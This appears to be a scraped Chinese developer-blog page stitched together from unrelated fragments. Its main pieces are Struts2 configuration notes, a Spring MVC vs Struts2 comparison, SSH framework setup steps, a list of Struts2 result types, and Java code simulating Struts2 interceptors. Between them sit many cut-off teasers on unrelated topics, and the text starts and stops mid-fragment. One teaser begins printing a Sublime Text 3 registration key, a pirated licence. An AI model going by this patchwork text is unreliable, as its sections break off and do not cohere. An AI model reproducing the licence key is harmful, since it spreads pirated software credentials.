http://www.springframework.org/schema/aophttp://www.springframework.org/schema/aop/spring-aop-2.0.xsd http://www.springframework.org/schema/txhttp://www.springframework.org/schema/tx/spring-tx-2.0.xsd !–这个IOC容器核心是个工厂,抽象工厂 — beanid= userManager > 启动Tomcat 浏览器中输入地址 进入主页面index.jsp: 点击“登录”,进入用户登录页面login.jsp: 输入username、password 点击“登录”button,跳转到登录成功页面login_success: 6,总结: (1)此方案的集成原理:在Action中取得BeanFactory,通过BeanFactory取得业务逻辑对象,调用业务逻辑方法。 (2)缺点:产生了依赖,spring的类在action中产生了依赖查找。(依赖查找和依赖注入的差别(前者为主动,后者是Spring主动提供))

终于有SpringMvc与Struts2的对比啦(转)

本文转自: 目前企业中使用SpringMvc的比例已经远远超过Struts2,那么两者到底有什么区别,是很多初学者比较关注的问题,下面我们就来对SpringMvc和Struts2进行各方面的比较: 1.核心控制器(前端控制器、预处理控制器):对于使用过mvc框架的人来说这个词应该不会陌生,核心控制器的主要用途是处理所有的请求,然后对那些特殊的请求(控制器)统一的进行处理(字符编码、文件上传、参数接受、异常处理等等),spring mvc核心控制器是Servlet,而Struts2是Filter。 2.控制器实例:Spring Mvc会比Struts快一些(理论上)。Spring Mvc是基于方法设计,而Sturts是基于对象,每次发一次请求都会实例一个action,每个action都会被注入 属性,而Spring更像Servlet一样,只有一个实例,每次请求执行对应的方法即可(注意:由于是单例实例,所以应当避免全局变量的修改,这样会产生线程安全问题)。 3.管理方式:大部分的公司的核心架构中,就会使用到spring,而spring mvc又是spring中的一个模块,所以spring对于spring mvc的控制器管理更加简单方便,而且提供了全 注解方式进行管理,各种功能的注解都比较全面,使用简单,而struts2需要采用XML很多的配置参数来管理(虽然也可以采用注解,但是几乎没有公司那样使用)。 4.参数传递:Struts2中自身提供多种参数接受,其实都是通过(ValueStack)进行传递和赋值,而SpringMvc是通过方法的参数进行接收。 5.学习难度:Struts更加很多新的技术点,比如拦截器、值栈及OGNL表达式,学习成本较高,springmvc 比较简单,很较少的时间都能上手。 6.intercepter的实现机制:struts有以自己的interceptor机制,spring mvc用的是独立的AOP方式。这样导致struts的配置文件量还是比spring mvc大,虽然struts的配置能继承,所以我觉得论使用上来讲,spring mvc使用更加简洁,开发效率Spring MVC确实比struts2高。spring mvc是方法级别的拦截,一个方法对应一个request上下文,而方法同时又跟一个url对应,所以说从架构本身上spring3 mvc就容易实现restful url。struts2是类级别的拦截,一个类对应一个request上下文;实现restful url要费劲,因为struts2 action的一个方法可以对应一个url;而其类属性却被所有方法共享,这也就无法用注解或其他方式标识其所属方法了。spring3 mvc的方法之间基本上独立的,独享request response数据,请求数据通过参数获取,处理结果通过ModelMap交回给框架方法之间不共享变量,而struts2搞的就比较乱,虽然方法之间 也是独立的,但其所有Action变量是共享的,这不会影响程序运行,却给我们编码,读程序时带来麻烦。 7.spring mvc处理ajax请求,直接通过返回数据,方法中使用注解@ResponseBody,spring mvc自动帮我们对象转换为JSON数据。

Mac 下如何使用 Tree 命令

一.新建Web工程,并在lib目录下添加jar包 主要jar包:struts2相关包,mybatis3.3相关包,mysql-connector-java-5.1.22-bin.jar, gson-2 … 拦截器(interceptor)是Struts2最强大的特性之一,也可以说是struts2的核心,拦截器可以让你在Action和result被执行之前或之后进行一些处理.同时,拦截器也可以让你将通用的 … Sublime Text 3注册码两枚: —– BEGIN LICENSE —– K- Single User License EA7E- 3A099EC1 C0B5C7C5 33EBF0 … 问题二:开发没有足够机器,一台机子上是否装三个zookeeper服务器集群. 问题解答: 这种安装模式只能说是一种伪集群模式.三个zookeeper服务器都安装在同一个服务器(platform)上,需 … 闭包是js最难理解,也是最蛋疼的一个名词,仿佛只可意会不可言传一样,有人说闭包说白了就是函数嵌套,也有人说闭包就是函数能够访问函数外部的变量,而内部的外部访问不了: 貌似都非常有道理,其实仔细想来只不 … HTTP响应代码 1xx – 消息通知 这些状态代码表示临时响应.client在收到常规响应.应准备接收一个或多个 1xx 应. · 100 – Continue 初始的请求已经接受,客户应当继续发送 … 你不优化,我不优化,那大家就都是满分啦 (一)写在最前 电梯问题由于和实际关联比较紧密,所以实际上可以操作的空间比较多. 但第二单元的电梯,需要实现捎带:第三单元的电梯,需要实现楼层限制.人数限制.三 … 本章简单介绍了HTML5,并推荐了一个好工具Modernizr,用于检测浏览器可能支持的各种特性. HTML5的新特性包括: 可以用来在文档中绘制矢量及位图的 canvas 元素: 可以在 … 问题 我本地的虚拟机上没办法访问外网,然后搞了很久很久,最终解决了. 现象 A,电脑持续运行了三天,也没有复杂的环境调整的情况下.我本地的ubuntu(使用VMWare machine创建的),突然没 … Palindromes 链接:http://acm.hdu.edu.cn/showproblem.php?pid=2163 (此题是为了对于JAVA温故知新的) Problem Description …

scala 学习笔记十三 特质(转载)

f-sm-1. 讲下SpringMvc和Struts1,Struts2的比较的优势 性能上Struts1 SpringMvc Struts2 开发速度上SpringMvc和Struts2差 … 原文: http://my.oschina.net/neochen/blog/294354 https://github.com/netkiller/mysql-zmq-plugin 有2张表: 表1 … 一. AOP介绍 AOP(Aspect-OrientedProgramming,面向方面编程),可以说是OOP(Object-Oriented Programing,面向对象编程)的补充和完善.OOP … 官网下载地址:http://dev.mysql.com/downloads/windows/installer/ (可以选择解压版zip下载,也可以选择msi安装版.) 解压zip版配置: 1. 下载 … 将libresolv.dylib 添加到工程引用中(通过build phases中).补充:    _res_9_init定义在resolv.h中,可以参考http://www.opensource. … Python主要通过标准库中的threading包来实现多线程.在当今网络时代,每个服务器都会接收到大量的请求.服务器可以利用多线程的方式来处理这些请求,以提高对网络端口的读写效率.Python是一种 … 6.1.文件结构 默认的encoding是utf-8,你也可以使用以下不同的encoding: ?xml version= 1.0 encoding= ISO-8 … 1:pycurl模块的安装方法 easy_install pycurl pip install pycurl 2:示例代码如下,是在python3下实现的,如若使用python2稍作修改即可 # -* … 一. 模型绑定 ASP.NET Core MVC 中的模型绑定,是将 HTTP 请求中的数据映射到action方法参数. 这些参数可能是简单类型的参数,如字符串.整数或浮点数,也可能是复杂类型的参数. … 在VMware中安装Linux虚拟机后(比如CentOS6.*),不能访问网络,需要配置静态IP.虚拟机中推荐使用NET模式进行网络连接,在虚拟机的工具栏点击编辑 虚拟网络编辑器 NET模 …

工作笔记3.手把手教你搭建SSH(struts2+hibernate+spring)环境

上文中我们介绍《》 从今天開始本文将教大家怎样进行开发?本文以搭建SSH(struts2 hibernate spring)框架为例,共分为3步: 1)3个独立配置:struts2、 Hibernate、 Spring 2)2个整合:整合Sring和struts2、 整合Spring和Hibernate 3)资源分类 开发包、软件、框架源代码,已经共享到百度网盘:http://pan.baidu.com/s/1o6FkbA6 一、3个独立配置 1、Struts2: 1.1jar包 拷贝此路径下的全部jar包,并放置在WebRoot/WEB-INF/lib中,路径: Struts2开发包__struts-2.1.8.1-all\struts-2.1.8.1\apps\struts2-blank-2.1.8.1\WEB-INF\lib全部包 1.2拷贝配置文件 1.2.1struts.xml 拷贝已有struts.xml文件,并放置在config中,路径:struts2-blank-2.1.8.1\WEB-INF\src\java或:struts2-blank-2.1.8.1\WEB-INF\classes 1.2.2web.xml,核心过滤器 拷贝下图中红色框部分至web.xml中 1.3改动struts.xml文件 在struts.xml中加入下图中红色框部分代码 2.Hibernate 2.1jar包 拷贝此路径下的全部jar包,并放置在WebRoot/WEB-INF/lib中: 核心包1个:hibernate3.jar,路径:hibernate-distribution-3.6.0.Final 依赖包6个:requested,路径:\hibernate-distribution-3.6.0.Final\lib\required中全部。 Jpa1个:hibernate-jpa-2.0-api-1.0.0.Final.jar,路径:hibernate-distribution-3.6.0.Final\lib\jpa 数据库连接池1个,c3p0-0.9.1.jar,路径:hibernate-distribution-3.6.0.Final\lib\optional\c3p0 数据库驱动jdbc:mysql-connector-java-5.1.7 2.2配置文件 2.1.1主配置文件,hibernate.cfg.xml 2.1.2日志文件,Log4j.properties 2.1.3映射文件,*.hbm.xml,与实体相关 2.3改动hibernate配置文件 改动:hibernate.cfg.xml,加入例如以下配置信息: 数据库连接信息 其它配置:自己主动建表、显示sql语句、配置二级缓存 导入映射文件 3.Spring 3.1jar包-5 拷贝此路径下的全部jar包,并放置在WebRoot/WEB-INF/lib中,路径: 核心包:spring.jar 依赖包,AOP相关3。原理:动态代理 cglib子类方式代理 Aspect:aspectjrt.jar、aspectjweaver.jar Cglib:cglib-nodep-2.1_3.jar 日志,commons-logging.jar 3.2配置文件 改动applicationContext.xml或Beans.xml配置文件 注解方式 二、2个整合 4.整合spring和struts,目的:Action交由spring管理 4.1整合目的: 原来:通过反射,生成实例 如今:从spring容器中拿对象 4.2jar包 Struts2-spring-plugin-2.1.8.1,jar 4.3配置文件 配置文件:配置spring用于初始化容器对象的监听器 路径:Spring开发包__spring-framework-2.5.6.SEC01-with-dependencies\spring-framework-2.5.6.SEC01\docs\reference\html_single—15.2  5.整合spring和Hibernate 5.1整合目的 管理SessionFactory实例(仅仅须要一个) 声明式事务管理(xml/注解) 5.2步骤: 1、首先在applicationContext.xml中标注 2、新建实例User.java 3、建立相应的“实体映射类”User.hbm.xml 4、把User.hbm.xml,拖拽到hibernate.cfg.xml中 5.3运行JUnit后,自己主动建表 三、资源分类 源代码文件夹是classpath的根文件夹 WebRoot/WEB-INF目录不能直接訪问,须要经过Action携带信息 开发的时候,能够进行分类,可是实际输出的是一个文件夹     本文以搭建SSH(struts2 hibernate spring)框架为例,通过3个独立配置、2个整合,基本完毕SSH框架搭建。通过“资源分类”养成良好的编码习惯。详细的配置不须要死记硬背,用的时候知道去哪里查找就能够了。     一般而言,开发者非常少參与环境的搭建,直接使用公司现成的框架就可以。可是,鉴于学习的目的,还是建议您亲手试一试为妙!“SSH(struts2 hibernate spring)框架模板”,可參见:http://pan.baidu.com/s/1o6FkbA6

Oracle多关键字查询

使用Struts2实现异步验证数据: 与Struts2相关的jar包如下: freemarker-2.3.13.jar ognl-2.6.11.jar struts2-core-2.1.6.jar s … 很早之前做过一个商城的app 也是第一次做安卓. 实现的效果如下: 因为一开始做安卓,很多写的代码都不规范,在下面上代码的地方,还请高手指点(勿喷,楼主是自尊心很强的屌丝) 这个效果要解决2个大问题, … 查看当前数据库 MongoDB shell version:1.8.1connecting to:test  dbtest 查看全部数据库列表 show dbsChatRoom    0 … 版权声明:本文由熊训德原创文章,转载请注明出处: 文章原文链接:https://www.qcloud.com/community/article/221 来源:腾云阁 https://www.qclo … Bisharp and Charizard Time Limit: 1 Sec  Memory Limit: 256 MB Description Dragon is watching NBA. He … 所谓索引就是为特定的mysql字段进行一些特定的算法排序,比如二叉树的算法和哈希算法,哈希算法是通过建立特征值,然后根据特征值来快速查找,而用的最多,并且是mysql默认的就是二叉树算法 BTREE, … A. Tricky Sum Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://codeforces.com/contest/598/problem … 出于一些非常猥琐的须要,同一时候自己也想做一些新奇的尝试,周末用了大半天时间破解了某款手游的数据文件. 过程比我预想的要顺利,主要原因还是我们开发者的懈怠.咳咳. 步骤例如以下: 下载安装包,解压,发 … 本文首先介绍网络性能測量的一些基本概念和方法.然后结合 netperf 工具的使用.详细的讨论怎样測试不同情况下的网络性能. 汤凯 (tangk73@hotmail.com), 2004 年 7 月 … id=2408 target= _blank >

struts2 action result type类型

1.chain:用来处理Action链,被跳转的action中仍能获取上个页面的值,如request信息。 com.opensymphony.xwork2.ActionChainResult 2.dispatcher:用来转向页面,通常处理JSP org.apache.struts2.dispatcher.ServletDispatcherResult 3.freemaker:处理FreeMarker模板 org.apache.struts2.views.freemarker.FreemarkerResult 4.httpheader:控制特殊HTTP行为的结果类型 org.apache.struts2.dispatcher.HttpHeaderResult 5.stream:向浏览器发送InputSream对象,用来处理文件下载,还可用于返回AJAX数据 org.apache.struts2.dispatcher.StreamResult 6.velocity :处理Velocity模板 org.apache.struts2.dispatcher.VelocityResult 7.xsl: 处理XML/XLST模板 org.apache.struts2.views.xslt.XSLTResult 8.plaintext:显示原始文件内容,例如文件源代码 org.apache.struts2.dispatcher.PlainTextResult 9.redirect:重定向到一个URL ,被跳转的页面中丢失传递的信息,如request org.apache.struts2.dispatcher.ServletRedirectResult 10.redirectAction :重定向到一个Action ,跳转的页面中丢失传递的信息,如request org.apache.struts2.dispatcher.ServletActionRedirectResult 11.redirect-action:重定向到一个Action ,跳转的页面中丢失传递的信息,如request org.apache.struts2.dispatcher.ServletActionRedirectResult

Android开发之日历控件实现

hibernate5.2需要的最少jar文件: required文件夹中的所有jar文件 + mysql-connector-java-bin.jar. 调用 ConvertMoney的ConvertMoneyToWords(decimal money)方法即可 using System; using System.Collections.Generi … 一,Struts2框架部署 1,搭建Struts2的jar包 1.1,Struts2所需各个jar包的作用 asm-3.3.jar                                  操 … 本教程用于指导Oracle Primavera P6 R84版本的单机版安装过程.P6 R84版本于2014年9月30日发布.其功能较之前版本有较大提升.单机版的安装方式也发生了很大的变化.P6 R8 … /* 创建者:菜刀居士的博客  * 创建日期:2014年07月06号  */ namespace Net.CRM.OrganizationService {     using System;     … 整理—–数据库技术,磁盘冗余阵列,IP分配, ECC内存,ADO, DAO,JDBC 1.MySQL MySQL是最受欢迎的开源SQL数据库管理系统,它由 MySQL AB开发.发布和支持.My … public static Map toMap(Object object){ Map _result = new CaseInsensitiveMap(); if (object != null) … 题目描述 蚯蚓幼儿园有nn 只蚯蚓.幼儿园园长神刀手为了管理方便,时常让这些蚯蚓们列队表演. 所有蚯蚓用从11 到nn 的连续正整数编号.每只蚯蚓的长度可以用一个正整数表示,根据入园要求,所有蚯蚓的长 … 递归组件 什么是递归组件? 组件自身去调用组件自身. 代码示例 DetailList.vue(子组件-递归组件) template div div > 也是一道面试题,估计除了面试题,一般情况下,也不会写出类似的代码了. [‘1’, ‘2’, ‘3’].map(parseInt) 这么一道题的返回结果是什么? 如果不用浏览器去验证,乍一看,似乎确实没 …

Struts2配置文件详解

解决在断网环境下,配置文件无提示的问题我们可以看到Struts.xml在断网的情况下,前面有一个叹号,这时,我们按alt+/ 没有提示,这是因为 http://struts.apache.org/dtds/struts-2.0.dtd 是一个网络地址,如果上网的话,IDE会自动帮我们下载此文件,如果断网就没有办法了,但是我们还是有解决方法的.首先在源码包里找到struts-2.0.dtd这个文件在MyEclipse中菜单栏中选择:windowPreferencesMyEclipseFiles and EditorsXmlxml Catalog在右边的下拉框中选择User Specified Entries点击Add按钮左边选中Catalog Entry右边的location中点击File System在弹出的对话框中将搜索到的文件全路径复制上去,并选中struts-2.0.dtd在key type下拉框中选择URIkey文本框中填写: http://struts.apache.org/dtds/struts-2.0.dtd ,点击OK即可. 这时我们可以看到Struts.xml文件中还有叹号,我们可以在Struts标签与package标签中打入一个回车后保存即可. 首先,我们先配置一个HelloWorld程序环境的搭建和前面讲的一模一样,导6个jar包,复制struts.xml文件到src目录下,改写web.xml文件,将struts整合到web工程中,这里就不再演示以下是代码:Chapter1Actionpackage chapter1.action; public class Chapter1Action {private String message; public String getMessage() { return message;} public String execute() { message = “我的第一个Struts2程序”; return “success”;}} Struts.xml ?xml version=”1.0″ encoding=”UTF-8″ ? !DOCTYPE struts PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 2.0//EN” “http://struts.apache.org/dtds/struts-2.0.dtd” struts constant name=”struts.enable.DynamicMethodInvocation” value=”false”/ constant name=”struts.devMode” value=”false”/ constant name=”struts.i18n.encoding” value=”UTF-8″/ constant name=”struts.serve.static.browserCache” value=”false”/ include file=”chapter1.xml”/ /struts chapter1.xml ?xml version=”1.0″ encoding=”UTF-8″ ? !DOCTYPE struts PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 2.0//EN” “http://struts.apache.org/dtds/struts-2.0.dtd” struts package name=”chapter1″ namespace=”/chapter1″ extends=”struts-default” action name=”HelloWorld” method=”execute” result name=”success” /WEB-INF/JspPage/chapter1/HelloWorld.jsp /result /action /package /struts HelloWorld.jsp %@ page language=”java” pageEncoding=”UTF-8″% !DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” html head title HelloWorld /title /head body ${message} /body /html 问题一:大家可以看到这里用到了EL表达式,我们知道EL表达式只能取出page,request,session,application四个范围之一里面的数据,但是我这里并没有将任何数据放入到四个范围中,为什么这里能够取出数据来呢? 问题二: Chapter1Action是一个非常普通的类,它不是Servlet,为什么能够处理用户的请求呢? Struts2用于处理用户请求的Action,没有与Servlet API耦合,显示无法处理用户请求,而Struts2提供了系列拦截器,该系列拦截器负责将HttpServletRequest请求中的请求参数解析出来,传入到Action中,并调用Action的execute方法来处理用户的请求. Struts.xml配置中包与action的介绍 package name=”chapter1″ namespace=”/chapter1″ extends=”struts-default” action name=”HelloWorld” method=”execute” result name=”success” /WEB-INF/JspPage/chapter1/HelloWorld.jsp /result /action /package Struts2框架中使用包来管理action,避免了Servlet在web.xml中难以管理的与维护的局面.包的作用和java中的类包是非常类似的,它主要用于管理一组业务功能相关的action,在实际应用中,我们应该把一组业务功能相关的action 放在同一个包下. 配置包时必须指定name属性,该name属性值可以任意取名,但必须唯一,如果其他包要继承该包,必须通过该属性进行引用,包的namespace属性用于定义该包的命名空间,命名空间作用为访问该包下的action路径的一部分,见示例.namespace属性可以不配置,如果不指定该属性,默认的命名空间为 通常每个包都应该继承struts-default包,因为struts2很多核心功能都是拦截来实现的,如,从请求中把请求参数封闭到action,文件上传和数据验证等都是通过拦截器实现的,struts-default定义了这些拦截器和Result类型,可以这么说,当包继承了struts-default才能使用struts2提供的核心功能,struts-default包是在struts2-core-2.xx.jar文件中的struts-defalut.xml中定义,struts-default.xml也是struts2默认配置文件,struts2每次都会自动加载struts-default.xml文件. package还有一个abstract= true 属性,指定此包为抽象包,和抽象类的概念差不多,说明此包只能被其他包继承,则它里面不允许包含action元素. action name=”HelloWorld” method=”execute” result name=”success” /WEB-INF/JspPage/chapter1/HelloWorld.jsp /result /action Action 元素method属性,默认值为method= execute ,也就是当action接收到请求后,交给哪个方法去处理,默认的是交给execute方法去处理,当然,也可以交给其他方法,后面会讲解到. result name=”success” /WEB-INF/JspPage/chapter1/HelloWorld.jsp /result result元素主要定义视图的跳转和返回的行为及类型,后面会详细介绍. struts.xml文件的分离从上一个项目实践中可以看到,我们的web.xml文件非常之大,到后来是越来越难的查找与维护,看得头都是大的,Struts2配置文件可以分离,很好的解决了此问题.通过主次配置文件的分离,可以加强团队间的合作,并且互不打扰彼此的配置文件,出了问题也知道责任在哪里.在实例开发中也是这样做的,通过一个主文件中,打开全局开关,引入其他子配置文件,如: ?xml version=”1.0″ encoding=”UTF-8″ ? !DOCTYPE struts PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 2.0//EN” “http://struts.apache.org/dtds/struts-2.0.dtd” struts constant name=”struts.enable.DynamicMethodInvocation” value=”false”/ constant name=”struts.devMode” value=”false”/ constant name=”struts.i18n.encoding” value=”UTF-8″/ constant name=”struts.serve.static.browserCache ” value=”false”/ include file=”chapter1.xml”/ /struts 常用开关的介绍 constant name=”struts.i18n.encoding” value=”UTF-8″/ 指定Web应用的默认编码集,相当于调用HttpServletRequest的setCharacterEncoding方法 constant name=”struts.action.extension” value=”do”/ 该属性指定需要Struts 2处理的请求后缀,该属性的默认值是action,即所有匹配*.action的请求都由Struts 2处理。 如果用户需要指定多个请求后缀,则多个后缀之间以英文逗号(,)隔开。 constant name=”struts.serve.static.browserCache ” value=”false”/ 设置浏览器是否缓存静态内容,默认值为true,开发阶段最好false constant name=”struts.configuration.xml.reload” value=”true”/ 当struts的配置文件修改后,系统是否自动重新加载该文件,默认值为false,开发阶段最好true constant name=”struts.devMode” value=”true”/ 开发模式下设为true,这样可以打印出更详细的错误信息 constant name=”struts.enable.DynamicMethodInvocation” value=”false”/ 动态方法调用,可以解决多个请求对应一个Servlet的问题,后面详细讲解,默认为true,关闭则设为false. 这里只是列举了一些常用的开关,当然还有许多其他的开关,后面的学习中会逐渐介绍,大家在这里先了解一下. 以下是从网上摘得的,比较全的一个资料struts.serve.static.browserCache 该属性设置浏览器是否缓存静态内容。当应用处于开发阶段时,我们希望每次请求都获得服务器的最新响应,则可设置该属性为false。 struts.enable.DynamicMethodInvocation 该属性设置Struts 2是否支持动态方法调用,该属性的默认值是true。如果需要关闭动态方法调用,则可设置该属性为false。 struts.enable.SlashesInActionNames 该属性设置Struts 2是否允许在Action名中使用斜线,该属性的默认值是false。如果开发者希望允许在Action名中使用斜线,则可设置该属性为true。 struts.tag.altSyntax 该属性指定是否允许在Struts 2标签中使用表达式语法,因为通常都需要在标签中使用表达式语法,故此属性应该设置为true,该属性的默认值是true。 struts.devMode该属性设置Struts 2应用是否使用开发模式。如果设置该属性为true,则可以在应用出错时显示更多、更友好的出错提示。该属性只接受true和flase两个值,该属性的默认值是false。通常,应用在开发阶段,将该属性设置为true,当进入产品发布阶段后,则该属性设置为false。 struts.i18n.reload该属性设置是否每次HTTP请求到达时,系统都重新加载资源文件。该属性默认值是false。在开发阶段将该属性设置为true会更有利于开发,但在产品发布阶段应将该属性设置为false。 提示 开发阶段将该属性设置了true,将可以在每次请求时都重新加载国际化资源文件,从而可以让开发者看到实时开发效果;产品发布阶段应该将该属性设置为false,是为了提供响应性能,每次请求都需要重新加载资源文件会大大降低应用的性能。 struts.ui.theme该属性指定视图标签默认的视图主题,该属性的默认值是xhtml。 struts.ui.templateDir该属性指定视图主题所需要模板文件的位置,该属性的默认值是template,即默认加载template路径下的模板文件。 struts.ui.templateSuffix该属性指定模板文件的后缀,该属性的默认属性值是ftl。该属性还允许使用ftl、vm或jsp,分别对应FreeMarker、Velocity和JSP模板。 struts.configuration.xml.reload该属性设置当struts.xml文件改变后,系统是否自动重新加载该文件。该属性的默认值是false。 struts.velocity.configfile该属性指定Velocity框架所需的velocity.properties文件的位置。该属性的默认值为velocity.properties。 struts.velocity.contexts该属性指定Velocity框架的Context位置,如果该框架有多个Context,则多个Context之间以英文逗号(,)隔开。 struts.velocity.toolboxlocation该属性指定Velocity框架的toolbox的位置。 struts.url.http.port该属性指定Web应用所在的监听端口。该属性通常没有太大的用户,只是当Struts 2需要生成URL时(例如Url标签),该属性才提供Web应用的默认端口。 struts.url.https.port该属性类似于struts.url.http.port属性的作用,区别是该属性指定的是Web应用的加密服务端口。 struts.url.includeParams该属性指定Struts 2生成URL时是否包含请求参数。该属性接受none、get和all三个属性值,分别对应于不包含、仅包含GET类型请求参数和包含全部请求参数。 struts.custom.i18n.resources该属性指定Struts 2应用所需要的国际化资源文件,如果有多份国际化资源文件,则多个资源文件的文件名以英文逗号(,)隔开。 struts.dispatcher.parametersWorkaround 对于某些Java EE服务器,不支持HttpServlet Request调用getParameterMap()方法,此时可以设置该属性值为true来解决该问题。该属性的默认值是false。对于WebLogic、Orion和OC4J服务器,通常应该设置该属性为true。 struts.freemarker.manager.classname 该属性指定Struts 2使用的FreeMarker管理器。该属性的默认值是org.apache.struts2.views.freemarker.FreemarkerManager,这是Struts 2内建的FreeMarker管理器。 struts.freemarker.wrapper.altMap该属性只支持true和false两个属性值,默认值是true。通常无需修改该属性值。 struts.xslt.nocache 该属性指定XSLT Result是否使用样式表缓存。当应用处于开发阶段时,该属性通常被设置为true;当应用处于产品使用阶段时,该属性通常被设置为false。 struts.configuration.files 该属性指定Struts 2框架默认加载的配置文件,如果需要指定默认加载多个配置文件,则多个配置文件的文件名之间以英文逗号(,)隔开。该属性的默认值为struts-default.xml,struts-plugin.xml,struts.xml,看到该属性值,读者应该明白为什么Struts 2框架默认加载struts.xml文件了。 在请求时,路径后的后缀action可要可不要,即下面的两种请求都是可以的http://localhost:8080/Struts2/chapter1/HelloWorldhttp://localhost:8080/Struts2/chapter1/HelloWorld.action Action配置中的各项默认值请看下面的代码 action name=”Login” result /WEB-INF/JspPage/chapter1/Login.jsp /result /action 我们发现,当我们请求的路径为http://localhost:8080/Struts2/chapter1/Login时,同样可以实现页面的跳转,这是怎么回事呢? 如果没有为action指定class,默认是ActionSupport类 action name=”Login” 相当于 action name=”Login” 如果没有为action指定method,默认执行action中的execute()方法 action name=”Login” 相当于 action name=”Login” method=”execute” 如果没有指定result的name属性,默认值为success. result 相当于 result name=”success” 提出一个问题ActionSupport这个类到底是个什么类呢?首先要肯定的一点是他是一个具有execute方法的类,并且execute方法返回 success 字符串,因为只有这样,前面的运行结果才能说的通. ActionSupport还实现了很多其他的结果,提供了许多定制的功能. ActionSupport类的作用 struts2不要求我们自己设计的action类继承任何的struts基类或struts接口,但是我们为了方便实现我们自己的action,大多数情况下都会继承com.opensymphony.xwork2.ActionSupport类,并重写此类里的public String execute() throws Exception方法。因为此类中实现了很多的实用借口,提供了很多默认方法,这些默认方法包括国际化信息的方法、默认的处理用户请求的方法等,这样可以大大的简化Acion的开发。 Struts2中通常直接使用Action来封装HTTP请求参数,因此,Action类里还应该包含与请求参数对应的属性,并且为属性提供对应的getter和setter方法。 课堂笔记默认值class=”” ActionSupportmethod=”” executename=”” success Action接口里提供了一些常量及execute方法,通常我们自己写的Action可以实现这个接口, ActionSupport已经实现了这个接口,并且还实现了验证,国际化等功能的接口,所以我们自己写的Action类通常会继承ActionSupport这个类来达到启用验证框架,国际化,自动转换等功能的目的.

模拟Struts2的AOP实现

从上面的比较中可以看到,Struts2的AOP功能比较单一,只能拦截Action类中的方法。Spring的AOP是通过JDK动态代理或者CGLib来生成目标对象的代理对象,然后将增强功能(Aspect【包括了Advice和Pointcut】)织入到符合条件(Pointcut)的类的方法(JoinPoint)上。 Struts2的AOP实现跟Filter的实现差不多,它有一系列的拦截器,称为拦截器栈,通过这些拦截器栈通过ActionInvocation的调度可以在Action中方法执行之前或执行做一些操作。原理图如下:        下面,用代码来模拟一下它的实现 /*** Action、Interceptor调度器* @author zyb* @since 2013-6-2 下午1:22:05*/public interface ActionInvocation {String invoke();} /*** Action、Interceptor调度器默认实现* @author zyb* @since 2013-6-2 下午1:21:14*/public class DefaultActionInvoation implements ActionInvocation {private int index;private Action action;private List Interceptor interceptors = new ArrayList Interceptor public void addInterceptor(Interceptor interceptor) {this.interceptors.add(interceptor);}public void setAction(Action action) {this.action = action;}@Overridepublic String invoke() {String result = “”;// 如果所有的拦截器已经执行完,则执行Action中的方法if (index == interceptors.size()) {result = action.execute();} else {Interceptor interceptor = interceptors.get(index);index++;result = interceptor.intercept(this);}return result;}} /*** 拦截器* @author zyb* @since 2013-6-2 下午1:23:35*/public interface Interceptor {String intercept(ActionInvocation invocation);} public class ExceptionInterceptor implements Interceptor {@Overridepublic String intercept(ActionInvocation invocation) {System.out.println(“ExceptionInterceptor”);return invocation.invoke();}} public class I18NInterceptor implements Interceptor {@Overridepublic String intercept(ActionInvocation invocation) {System.out.println(“I18NInterceptor”);return invocation.invoke();}} /*** 环绕拦截器* @author zyb* @since 2013-6-2 下午1:23:25*/public class AroundInterceptor implements Interceptor {@Overridepublic String intercept(ActionInvocation invocation) {System.out.println(“before:” + this.getClass());String result = invocation.invoke();System.out.println(“after:” + this.getClass());return result;}} /*** 环绕拦截器* @author zyb* @since 2013-6-2 下午1:21:24*/public class AroundInterceptor01 implements Interceptor {@Overridepublic String intercept(ActionInvocation invocation) {System.out.println(“before:” + this.getClass());String result = invocation.invoke();System.out.println(“after:” + this.getClass());return result;}} /*** Action接口* @author zyb* @since 2013-6-2 下午1:21:55*/public interface Action {String execute();} public class MyAction implements Action {@Overridepublic String execute() {System.out.println(“execute…”);return “success:” + getClass();}} public class Test {public static void main(String[] args) {Interceptor exptionInterceptor = new ExceptionInterceptor();Interceptor i18nInterceptor = new I18NInterceptor();Interceptor aroundInterceptor = new AroundInterceptor();Interceptor aroundInterceptor01 = new AroundInterceptor01();DefaultActionInvoation actionInvocation = new DefaultActionInvoation();actionInvocation.addInterceptor(exptionInterceptor);actionInvocation.addInterceptor(i18nInterceptor);actionInvocation.addInterceptor(aroundInterceptor);actionInvocation.addInterceptor(aroundInterceptor01);Action action = new MyAction();actionInvocation.setAction(action);String result = actionInvocation.invoke();System.out.println(“Action result:” + result);}} Struts2就是这样实现AOP的,比起Spring的AOP实现,简单多了。^_^ 大小: 44.3 KB查看图片

struts2+hibernate整合开发步骤

!DOCTYPE struts PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 2.0//EN” “http://struts.apache.org/dtds/struts-2.0.dtd” struts !– Configuration for the default package. — package name=”default” extends=”struts-default” action name=”lookMessageAction” result name=”success” /student/lookMessage.jsp /result result name=”input” /student/index.jsp /result /action action name=”addMessageAction” result name=”success” type=”chain” lookMessageAction /result result name=”input” /student/addMessage.jsp /result /action action name=”findMessageAction” result name=”success” /student/updateMessage.jsp /result result name=”input” /student/findMessage.jsp /result /action action name=”updateMessageAction” result name=”success” type=”chain” lookMessageAction /result result name=”input” /student/updateMessage.jsp /result /action action name=”deleteMessageAction” result name=”success” type=”chain” lookMessageAction /result result name=”input” /student/deleteMessage.jsp /result /action /package /struts

Struts2基于注解的Action配置

使用注解来配置Action的最大好处就是可以实现零配置,但是事务都是有利有弊的,使用方便,维护起来就没那么方便了。 要使用注解方式,我们必须添加一个额外包:struts2-convention-plugin-2.x.x.jar。 虽说是零配置的,但struts.xml还是少不了的,配置如下: ?xml version=”1.0″ encoding=”UTF-8″ ? !DOCTYPE struts PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 2.1.7//EN” “http://struts.apache.org/dtds/struts-2.1.7.dtd” struts !– 请求参数的编码方式– constant name=”struts.i18n.encoding” value=”UTF-8″/ !– 指定被struts2处理的请求后缀类型。多个用逗号隔开– constant name=”struts.action.extension” value=”action,do,htm”/ !– 当struts.xml改动后,是否重新加载。默认值为false(生产环境下使用),开发阶段最好打开  — constant name=”struts.configuration.xml.reload” value=”true”/ !– 是否使用struts的开发模式。开发模式会有更多的调试信息。默认值为false(生产环境下使用),开发阶段最好打开  — constant name=”struts.devMode” 